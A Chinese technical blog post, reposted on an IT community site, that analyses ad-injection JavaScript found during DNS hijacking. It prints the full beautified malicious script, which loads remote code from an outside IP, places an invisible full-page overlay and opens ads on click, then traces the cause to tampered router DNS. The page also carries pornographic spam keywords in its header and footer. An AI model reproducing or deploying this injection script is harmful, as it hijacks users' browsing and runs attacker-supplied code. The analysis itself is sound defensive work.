多多色-多人伦交性欧美在线观看-多人伦精品一区二区三区视频-多色视频-免费黄色视屏网站-免费黄色在线

國內最全IT社區平臺 聯系我們 | 收藏本站
阿里云優惠2
您當前位置:首頁 > php開源 > 綜合技術 > 上網頁面被強制廣告――簡單分析

上網頁面被強制廣告――簡單分析

來源:程序員人生   發布時間:2015-08-11 08:15:22 閱讀次數:3488次

1、現象描寫

事情起因很簡單,最近家里打開網頁,老發現有點不正常,火狐打開頁面鼠標在上面隨意點擊1下,立馬彈出廣告,起初認為多是閱讀器問題或機器中招了,后來看了1下系統沒問題,換了幾個閱讀器發現還是1樣,具體描寫就是,頁面打開后,鼠標在頁面上不管擱哪都是箭頭,放超鏈接上也是箭頭而不是小手圖標,只要1點擊,在彈出廣告新頁面,并且廣告內容每次隨機。

2、分析流程

之前1直沒時間弄它,今天放假沒事,打開電腦決定弄弄它,第1感覺是頁面被人插入了甚么東西,抄起Firebug開干。

2.1、隨手打開1個頁面,http://tools.jb51.net/tools/Escape.asp,瞅瞅,鼠標擱在超鏈接上,箭頭形狀,好家伙又來了,果斷右鍵“使用Firebug查看元素”:

好家伙,最少查了4個JS,還有個寬高100%的div,1個大遮罩啊,那怪擱哪都是箭頭了

<div id="tempDIv"> <div id="newDiv_link" style="position:fixed;z-index:99999;opacity:.0;filter:alpha(opacity=0);left:0px;top:0px;width:100%;height:100%;background-color:#FFF;"> </div> </div>

2.2、開啟Firebug果斷重新載入,因而乎,原形畢露,來自于173.208.185.2,美國

2.3、果斷查看那4個JS,發現是1樣的:

2.4、拿去http://js.clicki.cn/解壓美化后,還不錯嘿嘿:

function CookieEnable() { var result = false; if (navigator.cookiesEnabled) return true; document.cookie = "pksrqup=1;"; var cookieSet = document.cookie; if (cookieSet.indexOf("pksrqup=1") > ⑴) result = true; document.cookie = ""; return result }; if (self.location == top.location) { if (!loaded) { if (CookieEnable()) { var cBrowser = { versions: function() { var u = navigator.userAgent, app = navigator.appVersion; return { ios: !! u.match(/(i[^;]+;( U;)? CPU.+Mac OS X/), android: u.indexOf('Android') > ⑴ || u.indexOf('Linux') > ⑴, iPhone: u.indexOf('iPhone') > ⑴ || u.indexOf('Mac') > ⑴, iPad: u.indexOf('iPad') > ⑴ } }() }; var loaded = true; var oHead = ''; var oScript = ''; var sWebHost = window.location.host; if (sWebHost.indexOf("www.") == 0) { sWebHost = sWebHost.replace(/www./, "") }; var iWebLink = 'http://61.147.96.220:65008/keywords/'; var jsSrc = iWebLink + '?type=2&kw=' + sWebHost + '&r=' + Math.random(); var sDefaultUrl = ''; function loadJsFile(src) { oHead = document.getElementsByTagName('HEAD').item(0); oScript = document.createElement("script"); oScript.type = "text/javascript"; oScript.src = src; oHead.appendChild(oScript) }; function linkOpener() { var divId = 'newDiv_link'; var newDiv = "<div id='" + divId + "' style='position:fixed;z-index:99999;opacity:.0;filter:alpha(opacity=0);left:0px;top:0px;width:100%;height:100%;background-color:#FFF;'></div>"; var tmpDiv = document.createElement("div"); tmpDiv.id = "tempDIv"; tmpDiv.innerHTML = newDiv; document.body.appendChild(tmpDiv); var opener_Div = document.getElementById(divId); opener_Div.onclick = function() { var sCookieUrl = sDefaultUrl.replace(/&/g, '_'); tempDIv.removeChild(document.getElementById(divId)); if (cBrowser.versions.iPhone || cBrowser.versions.iPad || cBrowser.versions.ios || cBrowser.versions.android) { var setLink = iWebLink + 'visited.php?type=3&url=' + sCookieUrl + '&r=' + Math.random(); loadJsFile(setLink) } else { var setLink = iWebLink + 'visited.php?type=2&url=' + sCookieUrl + '&r=' + Math.random(); loadJsFile(setLink); window.open(sDefaultUrl) } } }; function backCall(json) { if (json.ret == 0) { sDefaultUrl = json.data; linkOpener() } else if (json.ret == 100) { window.location.href = sDefaultUrl }; oHead.removeChild(oScript) }; loadJsFile(jsSrc) } } }

2.5、所有秘密都藏在上面那段代碼里,我們1會再回頭來看,先看看頁面還有無別的可疑的,明顯我們還發現了這段:

2.6、接著在DOM看到:

如果沒有猜錯,點1下廣告頁面就是http://www.8ke.net/weibo.php?action=pc了,看這些iWebLink、jsSrc、sDefaultUrl是否是似成相識呢?沒錯就是上面那段JS腳本。

3、被強迫廣告的流程

綜合上視察結合那段JS,我推斷出了以下被強迫廣告的流程

3.1、首先頁面加載時被插入了1個腳本(至于怎樣被插入后面會有講),也就是說你要求的http://tools.jb51.net/tools/Escape.asp被人動了手腳,最簡單的情況就是在這個頁面注入了這么1段:

<script type="text/javascript" src=" http://hm.baidu.com//h.js?b88cfc1ccab788f0903cac38c894caa3">
</script>

此時上面那個腳本就進來了,并且開始運行。

3.2、腳本先判斷頁面是不是為top.location,否則終止;接著判斷是不是已loaded過,否則終止;然后判斷是不是開啟cookie,否則終止,等等,3個判斷(不過貌似navigator.cookiesEnabled 寫錯了吧,看了這人水平也不怎地);

3.3、接著腳本通過navigator辨認裝備是不是為IOS、Android、iPone、iPad系統,存于cBrowser,以便以后使用;

3.4、通過window.location.host獲得主機頭,例如tools.jb51.net;

3.5、接著構造遠真個URL地址jsSrc(硬編碼?),例如:http://61.147.96.220:65008/keywords/?type=2&kw=tools.jb51.net&r=0.0019117737800755652

3.6、以jsSrc為參數,調用loadJsFile(jsSrc)

3.7、loadJsFile(jsSrc)主要用于實現在head插入以下腳本

3.8、其中遠端地址,例如:http://61.147.96.220:65008/keywords/?type=2&kw=tools.jb51.net&r=0.0019117737800755652 返回值為:

backCall({"ret":"0","data":"http://www.8ke.net/weibo.php?action=pc"})

3.9、實際上loadJsFile()主要用來獲得并履行遠端發過來的指令,例如這里的backCall()函數

3.10、backCall()函數先判斷傳進來的json參數ret的值,如果為0設置,則設置sDefaultUrl的值為data,如:http://www.8ke.net/weibo.php?action=pc,然后調用linkOpener()函數,如果ret是100則直接window.location.href = sDefaultUrl,最后使用oHead.removeChild(oScript)將之前oHead.appendChild(oScript) 移除,所以咱以后在head是看不見這個腳本的

3.11、linkOpener()函數主要用于在頁面插入1個div并綁定onclick的事件處理

3.12、先是動態創建1個覆蓋全部頁面的透明的div

<div id="tempDIv"> <div id="newDiv_link" style="position:fixed;z-index:99999;opacity:.0;filter:alpha(opacity=0);left:0px;top:0px;width:100%;height:100%;background-color:#FFF;"> </div> </div>

3.13、以后通過document.body.appendChild(tmpDiv)將這個div添加到body里面

3.14、然后對上面添加的id為newDiv_link的div便簽綁定1個onclick事件處理函數,至此頁面加載終了。

--------------------------------分割線-------------------------------------------------------------------------------------------------

3.15、當用戶在頁面上任何1個位置點擊鼠標時,觸發newDiv_link的onclick事件,調用事件處理函數

3.16、先把sDefaultUrl(取值如:http://www.8ke.net/weibo.php?action=pc)過濾1下,然后把tempDIv的div便簽內容移除,以后判斷裝備是不是是IOS或Android或iPhone或iPad,如果是則構造類似這樣的鏈接:

http://61.147.96.220:65008/keywords/visited.php?type=3&url=http://www.8ke.net/weibo.php?action=pc&r=0.9964436281985068

否則構造:

http://61.147.96.220:65008/keywords/visited.php?type=2&url=http://www.8ke.net/weibo.php?action=pc&r=0.9964436281985068

3.17、以后調用上面loadJsFile(setLink)函數再次向遠端發送要求,另外如果不是移動裝備,則用window.open(sDefaultUrl)打開廣告頁面,頁面彈出了,有木有

3.18、loadJsFile(setLink)再次在頭部oHead.removeChild(oScript)插入腳本

向遠端發送要求例如:http://61.147.96.220:65008/keywords/visited.php?type=2&url=http://www.8ke.net/weibo.php?action=pc&r=0.9964436281985068

3.19、遠端響應:

3.20、再次調用backCall()函數,但是由于ret為⑷故,直接oHead.removeChild(oScript)移除腳本,最后殘留頁面:

4、源頭推斷及處理

至此,被強插廣告的流程基本被理清,1切都源于那段被插入的JS腳本,那個腳本又是如何來的呢?接觸過流量劫持、JS腳本緩存投毒的童鞋1定很清楚,我這就不費口舌了,推薦看http://www.cnblogs.com/index-html/p/wifi_hijack_3.html

這里就不推斷是運營商強插的也好或是他人攻擊污染也好,我查看了1下路由的DNS,問題是大大地:

果斷去修改DNS改成指定的最愛:114.114.114.114,從此廣告不再

神馬,不會改DNS?推薦

修改DNS:http://jingyan.baidu.com/article/fc07f98975ff0d12fee51954.html

好用的DNS:http://jingyan.baidu.com/article/7f766daf44889a4101e1d083.html


轉載請注明:http://blog.csdn.net/wangqiuyun/article/details/45424307

生活不易,碼農辛苦
如果您覺得本網站對您的學習有所幫助,可以手機掃描二維碼進行捐贈
程序員人生
------分隔線----------------------------
分享到:
------分隔線----------------------------
關閉
程序員人生
主站蜘蛛池模板: 亚洲成人在线免费 | 欧美色欧美亚洲另类二区精品 | 久久久久久久久a免费 | 国内自拍视频在线看免费观看 | 欧美一区二区视频 | 中文字幕亚洲图片 | 精品国产美女福利在线 | 91久久综合九色综合欧美98 | 亚洲在线中文字幕 | 国产中文字幕免费观看 | 国产第一区二区三区在线观看 | 免费在线观看www | 欧美在线一级va免费观看 | 久久天天躁狠狠躁夜夜中文字幕 | 国内久久精品视频 | 久久亚洲国产最新网站 | 一级做a爰片久久毛片欧美 一级做a爰片久久毛片人呢 | 欧美亚洲另类一区中文字幕 | 999精品视频在线观看 | 国产精品久久久影院 | 福利在线国产 | 欧洲1区二区三区二页 | 国产婷婷丁香久久综合 | 一区二区三区欧美日韩国产 | 亚洲精品免费在线 | 宇都宫紫苑乳在线观看 | 久久www免费人成_看片高清 | 国产精品系列在线一区 | 国内精品视频在线播放一区 | 91精品久久久久亚洲国产 | 免费一级毛片在线观看 | 亚欧成人毛片一区二区三区四区 | 亚洲综合射 | 动漫精品欧美一区二区三区 | 日本一区二区三区在线网 | 亚洲天堂免费在线视频 | 亚洲欧洲日本精品 | 成人中文字幕在线高清 | 欧美精品亚洲精品日韩一区 | 欧美 日韩 亚洲另类专区 | 尤物视频最新网址 |